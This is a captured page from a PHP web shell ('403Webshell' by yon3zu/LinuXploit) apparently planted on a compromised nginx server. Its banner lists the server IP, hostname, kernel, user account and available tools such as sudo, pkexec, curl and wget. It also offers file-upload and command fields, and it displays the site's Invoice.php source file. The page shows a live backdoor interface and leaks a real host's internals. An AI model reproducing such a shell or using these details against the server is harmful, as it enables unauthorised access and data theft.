403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/c.pacim.de/web/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/c.pacim.de/web/app/Models/Invoice.php
<?php

declare(strict_types=1);

namespace App\Models;

use App\Database;
use PDO;

final class Invoice
{
    private PDO $db;

    public function __construct()
    {
        $this->db = Database::connection();
    }

    public function search(array $filters = []): array
    {
        $where = ['1=1'];
        $params = [];
        if (!empty($filters['status'])) {
            $where[] = 'i.status = :status';
            $params['status'] = $filters['status'];
        }
        if (!empty($filters['payment_status'])) {
            $where[] = 'i.payment_status = :payment_status';
            $params['payment_status'] = $filters['payment_status'];
        }

        $stmt = $this->db->prepare("SELECT i.*, c.first_name, c.last_name, b.booking_number
                FROM invoices i
                LEFT JOIN customers c ON c.id = i.customer_id
                LEFT JOIN bookings b ON b.id = i.booking_id
                WHERE " . implode(' AND ', $where) . "
                ORDER BY i.created_at DESC");
        $stmt->execute($params);
        return $stmt->fetchAll();
    }

    public function findByBooking(int $bookingId): ?array
    {
        $stmt = $this->db->prepare('SELECT * FROM invoices WHERE booking_id = :id LIMIT 1');
        $stmt->execute(['id' => $bookingId]);
        return $stmt->fetch() ?: null;
    }

    public function setStatus(int $id, string $status): bool
    {
        $stmt = $this->db->prepare('UPDATE invoices SET status = :status WHERE id = :id');
        return $stmt->execute(['id' => $id, 'status' => $status]);
    }

    public function addPayment(int $invoiceId, float $amount, string $method): bool
    {
        $stmt = $this->db->prepare('INSERT INTO payments (invoice_id, amount, payment_method, paid_at, created_at) VALUES (:invoice_id, :amount, :payment_method, NOW(), NOW())');
        return $stmt->execute([
            'invoice_id' => $invoiceId,
            'amount' => $amount,
            'payment_method' => $method,
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit